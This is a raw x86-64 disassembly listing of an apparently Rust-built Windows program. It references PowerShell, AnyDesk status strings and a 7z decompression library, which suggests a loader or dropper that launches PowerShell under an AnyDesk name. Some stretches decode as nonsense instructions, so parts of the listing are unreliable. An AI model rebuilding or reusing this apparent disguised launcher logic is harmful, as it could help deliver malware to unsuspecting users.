cmp r14, r13
jne 0x14015eada
mov rdi, rsi
mov rsi, rax
mov r14, r15
mov rax, r12
shr rax, 8
mov qword [rbp + 0x4648], rax
mov rcx, qword [rbp + 0x4a60]
mov rdx, qword [rbp + 0x4ab0]
call fcn.14006095a
cmp r12b, 0x12
jne 0x14015e7da
lea rcx, [rbp + 0x340]
call fcn.14016b206
lea rdi, [rbp + 0x2370]
mov rax, qword [rbp + 0x340]
mov r12, qword [rbp + 0x348]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140163cc7
mov rcx, qword [rbp + 0x350]
mov qword [rbp + 0x4380], rax
mov qword [rbp + 0x4388], r12
mov qword [rbp + 0x4390], rcx
lea rax, [rbp + 0x4380]
mov qword [rbp + 0x25d0], rax
lea rcx, [0x1400062be]
mov qword [rbp + 0x25d8], rcx
lea rdx, [0x14025bf18]
mov qword [rbp + 0x340], rdx
mov qword [rbp + 0x348], 3
and qword [rbp + 0x360], 0
mov qword [rbp + 0x25e0], rax
mov qword [rbp + 0x25e8], rcx
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 2
lea rcx, [rbp + 0x46d0]
lea rbx, [rbp + 0x340]
mov rdx, rbx
call fcn.140015f59
mov rax, qword [rbp + 0x46d0]
mov qword [rbp + 0x4b38], rax
mov rax, qword [rbp + 0x46d8]
mov qword [rbp + 0x4b28], rax
mov rsi, qword [rbp + 0x46e0]
mov byte [rbp + 0x4b17], 1
mov rcx, rbx
lea rdx, str.powershell
push 0xa
pop r8
call fcn.1401ab0a0
mov dword [rbp + 0x400], 0x8000000
mov byte [rbp + 0x4af4], 1
mov rcx, rbx
call fcn.1401b0d8e
lea r14, [rbp + 0x25d0]
mov rax, qword [rbp + 0x4b38]
mov qword [rbp + 0x25d0], rax
mov rax, qword [rbp + 0x4b28]
mov qword [rbp + 0x25d8], rax
mov qword [rbp + 0x25e0], rsi
mov byte [rbp + 0x4af4], 0
mov rcx, rbx
mov rdx, r14
call fcn.1401b0d1f
mov dword [rbp + 0x25d0], 3
mov rcx, rbx
mov rdx, r14
call fcn.1401ab340
mov byte [rbp + 0x4af4], 0
mov rcx, r14
mov rdx, rbx
call fcn.1401a5e40
mov byte [rbp + 0x4af4], 0
lea rcx, [rbp + 0x46d0]
mov rdx, r14
lea r8, str.src_task.rs
call fcn.14016b178
lea rcx, [rbp + 0x46d0]
call fcn.14003f121
mov byte [rbp + 0x4b17], 0
mov rcx, rbx
call fcn.14016b010
mov byte [rbp + 0x4b17], 0
lea rcx, str.AnyDesk.execmd_status:__processes_status:
push 0xb
pop rdx
call fcn.14016b3f6
mov byte [rbp + 0x3f70], al
lea rax, [rbp + 0x3f70]
mov qword [rbp + 0x46d0], rax
lea rax, str.decompression_successful_AnyDesk_status_P
mov qword [rbp + 0x340], rax
push 1
pop rax
mov qword [rbp + 0x348], rax
and qword [rbp + 0x360], 0
lea rcx, [0x14002b840]
mov qword [rbp + 0x46d8], rcx
lea rcx, [rbp + 0x46d0]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x358], rax
mov byte [rbp + 0x4b17], 0
lea rcx, [rbp + 0x25d0]
mov rdx, rbx
call fcn.140015f59
mov rax, qword [rbp + 0x25d0]
mov qword [rbp + 0x4ae8], rax
mov rdx, qword [rbp + 0x25d8]
mov r8, qword [rbp + 0x25e0]
mov rcx, rbx
mov qword [rbp + 0x4b08], rdx
call fcn.14003f3ec
mov rcx, qword [rbp + 0x2388]
mov rdx, qword [rbp + 0x2390]
call fcn.14006095a
mov rax, qword [rbp + 0x350]
mov qword [rdi + 0x28], rax
movups xmm0, xmmword [rbp + 0x340]
movups xmmword [rdi + 0x18], xmm0
mov rcx, qword [rbp + 0x4ae8]
mov rdx, qword [rbp + 0x4b08]
call fcn.14006095a
mov rcx, qword [rbp + 0x4380]
mov rdx, qword [rbp + 0x4388]
call fcn.14006095a
lea rsi, [rbp + 0x3f70]
jmp 0x14015e9e2
mov rcx, qword [rbp + 0x4648]
mov dword [rbp + 0x46d1], ecx
mov rax, rcx
shr rax, 0x30
mov byte [rbp + 0x46d7], al
mov rax, rcx
shr rax, 0x20
mov word [rbp + 0x46d5], ax
mov qword [rbp + 0x46d8], rdi
mov qword [rbp + 0x46e0], rsi
mov qword [rbp + 0x46e8], r14
mov qword [rbp + 0x46f0], rbx
mov byte [rbp + 0x46d0], r12b
mov byte [rbp + 0x4ad7], 1
lea rcx, [rbp + 0x25d0]
call fcn.140191bd0
mov rax, qword [rbp + 0x25d0]
lea rdx, [rbp + 0x25d8]
mov rcx, qword [rdx + 0x20]
lea r8, [rbp + 0x350]
mov qword [r8 + 0x20], rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov rcx, qword [rbp + 0x46f0]
lea rdx, [rbp + 0x358]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rbp + 0x46d0]
movups xmm1, xmmword [rbp + 0x46e0]
movups xmmword [rdx + 0x30], xmm1
movups xmmword [rdx + 0x20], xmm0
lea rcx, [0x14024e1c8]
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x348], rax
push 0x60
pop rcx
push 8
pop rdx
call fcn.14013265f
push 0xc
pop rcx
mov rdi, rax
lea rbx, [rbp + 0x340]
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x4b38], rax
mov qword [rbp + 0x3f70], rax
lea rsi, [rbp + 0x25d0]
mov rcx, rsi
lea rdx, [rbp + 0x3f70]
call fcn.14016b4da
lea rdi, [rbp + 0x2370]
lea rax, str.decompression_failed
mov qword [rbp + 0x340], rax
push 1
pop rax
mov qword [rbp + 0x348], rax
and qword [rbp + 0x360], 0
mov qword [rbp + 0x4380], rsi
lea rcx, [0x1400062be]
mov qword [rbp + 0x4388], rcx
lea rcx, [rbp + 0x4380]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x358], rax
lea rcx, [rbp + 0x46d0]
mov rdx, rbx
call fcn.140015f59
mov rcx, qword [rbp + 0x25d0]
mov rdx, qword [rbp + 0x25d8]
call fcn.14006095a
mov rax, qword [rbp + 0x46d0]
mov qword [rbp + 0x4b08], rax
mov rdx, qword [rbp + 0x46d8]
mov r8, qword [rbp + 0x46e0]
mov rcx, rbx
mov qword [rbp + 0x4b28], rdx
call fcn.14003f3ec
mov rcx, qword [rbp + 0x2388]
mov rdx, qword [rbp + 0x2390]
call fcn.14006095a
mov rax, qword [rbp + 0x350]
mov qword [rdi + 0x28], rax
movups xmm0, xmmword [rbp + 0x340]
movups xmmword [rdi + 0x18], xmm0
mov rcx, qword [rbp + 0x4b08]
mov rdx, qword [rbp + 0x4b28]
call fcn.14006095a
movabs rax, 0x1f400000001
mov qword [rbp + 0x23a0], rax
mov rcx, qword [rbp + 0x4b38]
mov rax, qword [rcx]
call qword [rax]
lea rsi, [rbp + 0x3f70]
lea rcx, [rbp + 0x340]
mov rdx, rdi
call fcn.140156586
mov rcx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x348]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163c79
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x350]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x340], 0
jne 0x140163ca0
mov r8, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
xchg ebp, eax
mov eax, 0x4c00004a
lea ecx, [0x14025c0b0]
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
add byte [rax], al
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163cb4
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
mov rcx, rdi
call fcn.14003f121
mov rdx, qword [rbp + 0x4a68]
mov rcx, qword [rbp + 0x4a70]
mov r12, qword [rbp + 0x4af8]
mov r13, qword [rbp + 0x4b00]
jmp 0x14015e299
mov qword [rbp + 0x43b0], rdi
mov rdi, rax
mov rax, qword [rbp + 0x4b08]
mov qword [rbp + 0x43b8], rax
mov r8d, 0x108
lea rcx, [rbp + 0x43d0]
rol byte [rbx], 1
add byte [rax - 0x73], cl
xchg ebp, eax
jo 0x14015eb43
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
and qword [rbp + 0x44d8], 0
add byte [rax], r8b
add byte [rax - 0x39], cl
test eax, esp
add byte [rax], r8b
add dword [rax], eax
add byte [rax], al
and qword [rbp + 0x44e8], 0
mov qword [rbp + 0x4390], rsi
mov dword [rbp + 0x4390], esi
mov qword [rbp + 0x4398], rdi
mov qword [rbp + 0x4380], r14
mov qword [rbp + 0x4388], r12
mov qword [rbp + 0x43a0], r15
mov qword [rbp + 0x43a8], rbx
mov rax, qword [rbp + 0x4ae8]
mov qword [rbp + 0x43c0], rax
mov rax, qword [rbp + 0x4b38]
mov qword [rbp + 0x43c8], rax
lea rcx, [rbp + 0x3980]
mov rdx, qword [rbp + 0x4ab0]
mov r8, qword [rbp + 0x4b28]
call fcn.1401ab3a0
mov rdx, qword [rbp + 0x3988]
mov r8, qword [rbp + 0x3990]
lea rcx, [rbp + 0x340]
call fcn.140176252
lea rsi, [rbp + 0x3f70]
cmp dword [rbp + 0x340], 2
jne 0x14015ebef
lea rcx, [rbp + 0x348]
call fcn.140137625
mov rcx, qword [rbp + 0x3988]
mov rdx, qword [rbp + 0x3990]
call fcn.140176245
mov rdi, rax
test rax, rax
je 0x14015ebef
mov r12b, 4
movabs rsi, 0x8000000000000000
push 1
pop r14
xor ebx, ebx
jmp 0x14015fcb2
mov rax, qword [rbp + 0x4400]
mov qword [rbp + 0x4a90], rax
xor r8d, r8d
cmp r8, qword [rbp + 0x4a90]
je 0x14015fb1d
mov rax, qword [rbp + 0x44e8]
mov qword [rbp + 0x4aa8], rax
mov rcx, qword [rbp + 0x43f8]
mov rdx, qword [rbp + 0x4400]
mov qword [rbp + 0x4aa0], r8
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov rcx, qword [rax + 0x60]
cmp rcx, qword [rax + 0x68]
jbe 0x14015ecfd
mov rcx, qword [rbp + 0x43f8]
mov rdx, qword [rbp + 0x4400]
mov r8, qword [rbp + 0x4aa0]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov rdi, rax
mov rax, qword [rax + 0x10]
cmp rax, 0x20
jbe 0x14015edec
mov qword [rbp + 0x3f70], rax
lea rax, str.Too_many_coders:
mov qword [rbp + 0x25d0], rax
push 1
pop rax
mov qword [rbp + 0x25d8], rax
and qword [rbp + 0x25f0], 0
mov qword [rbp + 0x46d0], rsi
lea rcx, [fcn.140024bb0]
mov qword [rbp + 0x46d8], rcx
lea rcx, [rbp + 0x46d0]
mov qword [rbp + 0x25e0], rcx
mov qword [rbp + 0x25e8], rax
lea rcx, [rbp + 0x3670]
lea rdx, [rbp + 0x25d0]
call fcn.140015f59
mov rdi, qword [rbp + 0x3670]
mov rsi, qword [rbp + 0x3678]
mov r12b, 0x10
mov r14, qword [rbp + 0x3680]
jmp 0x14015f79f
mov rcx, qword [rbp + 0x4428]
mov rdx, qword [rbp + 0x4430]
mov r8, qword [rbp + 0x4aa0]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rdi, qword [rax]
mov rsi, qword [rbp + 0x44d0]
mov rcx, qword [rbp + 0x4440]
mov rdx, qword [rbp + 0x4448]
mov r8, rdi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rax, qword [rax]
add rax, rsi
add rax, 0x20
mov qword [rbp + 0x4398], rax
mov rcx, qword [rbp + 0x43a8]
mov rdx, qword [rbp + 0x43b0]
mov r8, rdi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rsi, qword [rax]
push 0x10
pop rcx
push 8
pop rdx
call fcn.14013265f
mov rdi, rax
lea rax, [rbp + 0x4380]
mov qword [rdi], rax
mov qword [rdi + 8], rsi
mov qword [rbp + 0x3f70], rdi
lea rax, fcn.140009390
mov qword [rbp + 0x3f78], rax
mov rcx, qword [rbp + 0x43f8]
mov rdx, qword [rbp + 0x4400]
mov byte [rbp + 0x4b20], 1
mov r8, qword [rbp + 0x4aa0]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov rbx, rax
cmp qword [rax + 0x40], 0
je 0x14015eea8
mov rax, qword [rbx + 0x38]
mov rax, qword [rax]
push 1
pop rcx
jmp 0x14015eeaa
mov rax, qword [rdi + 0x60]
cmp rax, qword [rdi + 0x68]
jbe 0x14016447f
mov rcx, qword [rbp + 0x4428]
mov rdx, qword [rbp + 0x4430]
mov r8, qword [rbp + 0x4aa0]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
or bl, byte [rbx - 0x14]
dec dword [rax - 0x75]
sbb byte [rax - 0x75], cl
xchg ebp, eax
add byte [rax], r8b
mov r13, rdx
sub r13, rbx
jb 0x14016449a
mov rax, qword [rbp + 0x44d0]
mov qword [rbp + 0x4b28], rax
lea rax, [rbx*8]
add rax, qword [rbp + 0x4440]
mov qword [rbp + 0x4ae8], rax
mov rsi, qword [rdi + 0x40]
test rsi, rsi
test byte [rax - 0x77], 0xbd
cmp byte [rbx], cl
add byte [rax - 0x77], cl
popfq
or byte [rbx], cl
add byte [rdi], cl
invalid
mov cl, 2
add byte [rax], al
mov rax, rsi
shr rax, 0x3a
call 0x1719afdb4
push rsi
add byte [rax], al
mov rdi, rsi
shl rdi, 5
push 8
pop rcx
mov rdx, rdi
call fcn.14013276d
fidivr word [rax]
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
and dword [rsi], edx
invalid
mov rcx, qword [rbp + 0x4b38]
mov r15, qword [rcx + 0x40]
jmp 0x14015f129
add al, byte [rax]
invalid
xor ecx, ecx
mov qword [rbp + 0x46d0], rcx
mov qword [rbp + 0x46d8], rax
mov qword [rbp + 0x46e0], rbx
lea rsi, fcn.140009390
mov qword [rbp + 0x4b28], rbx
mov byte [rbp + 0x4b20], 1
lea rcx, [rbp + 0x46d0]
call fcn.140177062
test rdx, rdx
je 0x14015f06c
cmp qword [rdx + 0x20], 1
jne 0x14015f043
cmp qword [rdx + 0x28], 1
jne 0x14015f043
cmp qword [rbx + 0x58], rax
jbe 0x14015ef0f
mov rcx, qword [rbx + 0x50]
mov r9, qword [rcx + rax*8]
jmp 0x14015ef12
xor r9d, r9d
mov byte [rbp + 0x4b20], 0
mov rax, qword [rbp + 0x4aa8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x25d0]
mov rdx, rdi
mov r8, rsi
call fcn.14013a258
mov r14, qword [rbp + 0x25d0]
mov eax, dword [rbp + 0x25da]
movzx esi, word [rbp + 0x25de]
shl rsi, 0x20
or rsi, rax
mov r12b, byte [rbp + 0x25d8]
mov r15b, byte [rbp + 0x25d9]
mov rcx, qword [rbp + 0x25e0]
mov rbx, qword [rbp + 0x25e8]
mov rdi, qword [rbp + 0x25f0]
mov r13, qword [rbp + 0x25f8]
movabs rax, 0x8000000000000005
cmp r14, rax
je 0x14015f0fe
mov r8d, 0xf28
mov qword [rbp + 0x4b38], rcx
lea rcx, [rbp + 0x370]
lea rdx, [rbp + 0x2600]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x340], r14
mov byte [rbp + 0x348], r12b
mov byte [rbp + 0x349], r15b
mov dword [rbp + 0x34a], esi
shr rsi, 0x20
mov word [rbp + 0x34e], si
mov rax, qword [rbp + 0x4b38]
add byte [rax], al
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], rbx
mov qword [rbp + 0x360], rdi
mov qword [rbp + 0x368], r13
push 0xffffffffb9000003
pop rax
sldt word [rax]
push 8
pop rdx
call fcn.14013265f
mov rdi, rax
mov r8d, 0xf58
mov rcx, rax
lea rdx, [rbp + 0x340]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x3f70], rdi
lea rsi, fcn.14013b033
mov qword [rbp + 0x3f78], rsi
mov rbx, qword [rbp + 0x4b28]
jmp 0x14015eecd
mov r12b, 0x10
lea rcx, [rbp + 0x3f70]
call fcn.14013809d
movabs rdi, 0x8000000000000000
lea rsi, str.Multi_input_output_stream_coders_are_not_yet_supported
push 0x36
pop r14
jmp 0x14015f79f
cmp byte [rbx + 0x80], 0
je 0x14015f7a9
mov qword [rbp + 0x46d0], rdi
mov qword [rbp + 0x46d8], rsi
mov rcx, rbx
call fcn.140176fa1
mov rcx, qword [rbx + 0x70]
mov qword [rbp + 0x25d0], rdi
mov qword [rbp + 0x25d8], rsi
lea rdx, [0x14024a998]
mov qword [rbp + 0x25e0], rdx
or dword [rbp + 0x25e8], 0xffffffff
mov qword [rbp + 0x25f0], rcx
mov qword [rbp + 0x25f8], rax
push 0x30
pop rcx
push 8
pop rdx
call fcn.14013265f
mov rdi, rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmm1, xmmword [rbp + 0x25e0]
movups xmm2, xmmword [rbp + 0x25f0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rsi, [0x14024ae40]
jmp 0x14015f7a9
mov byte [rbp + 0x4ac7], r15b
mov qword [rbp + 0x4660], rsi
mov qword [rbp + 0x4658], r13
mov rsi, rbx
mov r14, rdi
mov rdi, rcx
jmp 0x14015f79f
xor r15d, r15d
xor esi, esi
push 8
pop rax
add qword [rbp + 0x4b28], 0x20
mov qword [rbp + 0x3c00], rsi
mov qword [rbp + 0x3c08], rax
mov qword [rbp + 0x4650], rax
mov rbx, rax
xor edi, edi
xor r12d, r12d
mov qword [rbp + 0x3c10], rdi
cmp r12, r15
jae 0x14015f1ec
cmp r12, r13
jae 0x14016415f
mov rax, qword [rbp + 0x4ae8]
mov rsi, qword [rax + r12*8]
add rsi, qword [rbp + 0x4b28]
mov rax, qword [rbp + 0x4b08]
lea r8, [r12 + rax]
mov rcx, qword [rbp + 0x43a8]
mov rdx, qword [rbp + 0x43b0]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov r14, qword [rax]
add r14, rsi
cmp rdi, qword [rbp + 0x3c00]
jne 0x14015f1c0
lea rcx, [rbp + 0x3c00]
call fcn.1400246da
mov rbx, qword [rbp + 0x3c08]
inc r12
mov rax, rdi
shl rax, 5
mov qword [rbx + rax], rsi
mov qword [rbx + rax + 8], r14
lea rcx, [rbp + 0x4380]
mov qword [rbx + rax + 0x10], rcx
mov qword [rbx + rax + 0x18], rsi
inc rdi
jmp 0x14015f14e
xor eax, eax
cmp rax, 0x20
je 0x14015f202
or qword [rbp + rax*8 + 0x3f70], 0xffffffffffffffff
inc rax
jmp 0x14015f1ee
mov rax, qword [rbp + 0x4b38]
mov rsi, qword [rax + 0x10]
xor r12d, r12d
xor r14d, r14d
cmp r12, rsi
jae 0x14015f251
cmp r12, 0x20
jae 0x140164176
mov qword [rbp + r12*8 + 0x3f70], r14
mov rax, qword [rbp + 0x4b38]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.14013e2f0
inc r12
add r14, qword [rax + 0x20]
jmp 0x14015f213
movaps xmmword [rbp + 0x25e0], xmm6
movaps xmmword [rbp + 0x25d0], xmm6
mov rcx, qword [rbp + 0x4b38]
mov rax, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x28]
shl rdx, 4
test rdx, rdx
je 0x14015f297
mov rcx, qword [rax + 8]
cmp rcx, 0x20
jae 0x14016418d
add rax, 0x10
mov byte [rbp + rcx + 0x25d0], 1
add rdx, 0xfffffffffffffff0
jmp 0x14015f272
mov rax, qword [rbp + 0x4b38]
mov rdx, qword [rax + 0x10]
mov rax, rdx
neg rax
push 0xffffffffffffffff
pop rcx
lea r8, [rax + rcx]
cmp r8, 0xffffffffffffffff
je 0x14015f2d2
cmp rcx, 0x1f
je 0x1401641a1
lea r12, [rcx + 1]
cmp byte [rbp + rcx + 0x25d1], 0
mov rcx, r12
jne 0x14015f2ab
jmp 0x14015f2d5
xor r12d, r12d
mov rax, qword [rbp + 0x4b38]
mov rcx, qword [rax + 8]
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.14013e2f0
mov rcx, rax
call fcn.140177008
mov qword [rbp + 0x3530], rax
mov qword [rbp + 0x3538], rdx
mov rcx, rax
lea r8, [0x14024b260]
push 4
pop r9
call fcn.14005a06a
test al, al
je 0x14015f37a
mov rax, qword [rbp + 0x4b38]
mov rcx, qword [rax + 8]
mov rdx, qword [rax + 0x10]
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.14013e2f0
mov r15, qword [rax + 0x20]
test r15, r15
je 0x14015f3fb
mov rax, r15
shr rax, 0x3b
jne 0x14016456c
mov r13, r15
shl r13, 4
push 8
pop rcx
mov rdx, r13
call fcn.14013276d
test rax, rax
je 0x140164563
mov rcx, rax
mov rax, r15
jmp 0x14015f400
lea rax, str.Unsupported_method:
mov qword [rbp + 0x25d0], rax
push 1
pop rax
mov qword [rbp + 0x25d8], rax
and qword [rbp + 0x25f0], 0
lea rcx, [rbp + 0x3530]
mov qword [rbp + 0x46d0], rcx
lea rcx, [0x14005946f]
mov qword [rbp + 0x46d8], rcx
lea rcx, [rbp + 0x46d0]
mov qword [rbp + 0x25e0], rcx
mov qword [rbp + 0x25e8], rax
lea rcx, [rbp + 0x3780]
lea rdx, [rbp + 0x25d0]
call fcn.140015f59
mov rdi, qword [rbp + 0x3780]
mov rsi, qword [rbp + 0x3788]
mov r12b, 0x10
mov r14, qword [rbp + 0x3790]
jmp 0x14015f743
xor eax, eax
push 8
pop rcx
mov qword [rbp + 0x4a10], rax
mov qword [rbp + 0x4a18], rcx
and qword [rbp + 0x4a20], 0
mov rdx, qword [rbp + r12*8 + 0x3f70]
add r15, rdx
mov qword [rbp + 0x4668], rcx
mov r14, rcx
xor esi, esi
mov qword [rbp + 0x4ae8], r15
cmp rdx, r15
lea r15, [rbp + 0x25e8]
lea r12, [rbp + 0x3d40]
mov qword [rbp + 0x4b28], rdx
jae 0x14015f501
mov qword [rsp + 0x30], rdx
mov rax, qword [rbp + 0x4aa8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3f70]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4b38]
mov r8, rbx
mov r9, rdi
call fcn.14013e339
mov r13b, byte [rbp + 0x25d0]
cmp r13b, 0x12
jne 0x14015f6e0
mov r15, qword [rbp + 0x25d8]
mov r12, qword [rbp + 0x25e0]
mov qword [rbp + 0x25d0], r15
mov qword [rbp + 0x25d8], r12
cmp rsi, qword [rbp + 0x4a10]
jne 0x14015f4d1
lea rcx, [rbp + 0x4a10]
call fcn.14013e73c
mov r14, qword [rbp + 0x4a18]
mov rdx, qword [rbp + 0x4b28]
inc rdx
mov rax, rsi
shl rax, 4
mov qword [r14 + rax], r15
mov qword [r14 + rax + 8], r12
inc rsi
mov qword [rbp + 0x4a20], rsi
mov r15, qword [rbp + 0x4ae8]
jmp 0x14015f434
mov byte [rbp + 0x4ad9], 1
mov rcx, qword [rbp + 0x4b38]
call fcn.140176fa1
mov rdi, rax
mov edx, 0x100000
mov rcx, r12
call fcn.1401c5a79
xor eax, eax
cmp rax, 0x102
je 0x14015f53d
mov word [rbp + rax*2 + 0x46d0], 0x400
inc rax
jmp 0x14015f526
lea rax, [rbp + 0x2600]
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
and qword [rax + 0x40], 0
mov rax, qword [rbp + 0x4230]
movups xmmword [rax], xmm6
mov r8d, 0x204
lea rcx, [rbp + 0x2660]
lea rdx, [rbp + 0x46d0]
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [r15 + 0x290], xmm6
movups xmmword [r15 + 0x280], xmm6
mov rax, qword [rbp + 0x3d50]
mov qword [rbp + 0x25e0], rax
movups xmm0, xmmword [rbp + 0x3d40]
movaps xmmword [rbp + 0x25d0], xmm0
mov rax, qword [rbp + 0x4a20]
lea rcx, [rbp + 0x25e8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x4a10]
movups xmmword [rcx], xmm0
mov qword [rbp + 0x2648], 9
mov dword [rbp + 0x2890], 0x1010101
mov qword [rbp + 0x2888], rdi
lea rax, [rbp + 0x2620]
xor ecx, ecx
cmp rcx, 0x100000
je 0x14015f605
mov qword [rax - 0x20], rcx
mov qword [rax], rcx
add rcx, 0x40000
add rax, 8
jmp 0x14015f5e8
mov r8d, 0x2c8
lea rsi, [rbp + 0x46d0]
mov rcx, rsi
lea rdx, [rbp + 0x25d0]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x2c8
push 8
pop rdx
call fcn.14013265f
mov rdi, rax
mov r8d, 0x2c8
mov rcx, rax
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbp + 0x4b38]
cmp byte [r14 + 0x80], 0
je 0x14015f754
mov qword [rbp + 0x46d0], rdi
lea rsi, fcn.14013e314
mov qword [rbp + 0x46d8], rsi
mov rcx, r14
call fcn.140176fa1
mov rcx, qword [r14 + 0x70]
mov qword [rbp + 0x25d0], rdi
mov qword [rbp + 0x25d8], rsi
lea rdx, [0x14024a998]
mov qword [rbp + 0x25e0], rdx
or dword [rbp + 0x25e8], 0xffffffff
mov qword [rbp + 0x25f0], rcx
mov qword [rbp + 0x25f8], rax
push 0x30
pop rcx
push 8
pop rdx
call fcn.14013265f
mov rdi, rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmm1, xmmword [rbp + 0x25e0]
movups xmm2, xmmword [rbp + 0x25f0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rsi, [0x14024ae40]
jmp 0x14015f75b
mov al, byte [rbp + 0x25d1]
mov byte [rbp + 0x4ac7], al
mov esi, dword [rbp + 0x25d2]
movzx r14d, word [rbp + 0x25d6]
mov r12, qword [rbp + 0x25d8]
mov r15, qword [rbp + 0x25e0]
mov rdi, qword [rbp + 0x25e8]
mov rax, qword [rbp + 0x25f0]
mov qword [rbp + 0x4658], rax
lea rcx, [rbp + 0x4a10]
call fcn.1401380f7
shl r14, 0x20
or r14, rsi
mov qword [rbp + 0x4660], r14
mov rsi, r15
mov r14, rdi
mov rdi, r12
out 0x4d, eax
mov esp, ebp
out 0x4d, eax
mov esp, ebp
mov rcx, qword [rbp + 0x3c00]
mov rdx, rbx
call fcn.14013307a
jmp 0x14015f79f
lea rsi, fcn.14013e314
and eax, 0x48000ebb
mov dword [rbp + 0x25d0], edi
mov qword [rbp + 0x25d0], rdi
mov qword [rbp + 0x25d8], rsi
mov rcx, qword [rbp + 0x43a8]
add byte [rax - 0x75], cl
xchg ebp, eax
mov al, 0x43
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
mov al, 0x43
add byte [rax], al
mov r8, qword [rbp + 0x4b08]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov r14, qword [rax]
mov rcx, qword [rbp + 0x3c00]
mov rdx, rbx
call fcn.14013307a
mov r12b, 0x12
cmp r12b, 0x12
jne 0x14015fc09
mov qword [rbp + 0x46d0], rdi
mov qword [rbp + 0x46d8], rsi
mov rcx, qword [rbp + 0x4458]
mov rdx, qword [rbp + 0x4460]
mov r8, qword [rbp + 0x4aa0]
add byte [rbp + rcx*4 + 0xd], cl
int 0xb5
invalid
add al, ch
push r9
in al, dx
dec dword [rax - 0x75]
cmp byte [rax - 0x75], cl
invalid
clc
add byte [r8], al
mov rdx, qword [rbp + 0x4400]
mov edx, dword [rbp + 0x4400]
add byte [rbp + rcx*4 + 0xd], cl
int 0xb5
invalid
mov edx, dword [rbp + 0x4400]
add byte [rax + rax], al
mov r8, qword [rbp + 0x4aa0]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140138926
mov r14, qword [rax + 0x78]
mov esi, dword [rax + 0x78]
mov esi, dword [rax + 0x78]
add r14, rdi
cmp rdi, r14
jae 0x14015f9b0
mov rcx, qword [rbp + 0x4410]
mov rdx, qword [rbp + 0x4418]
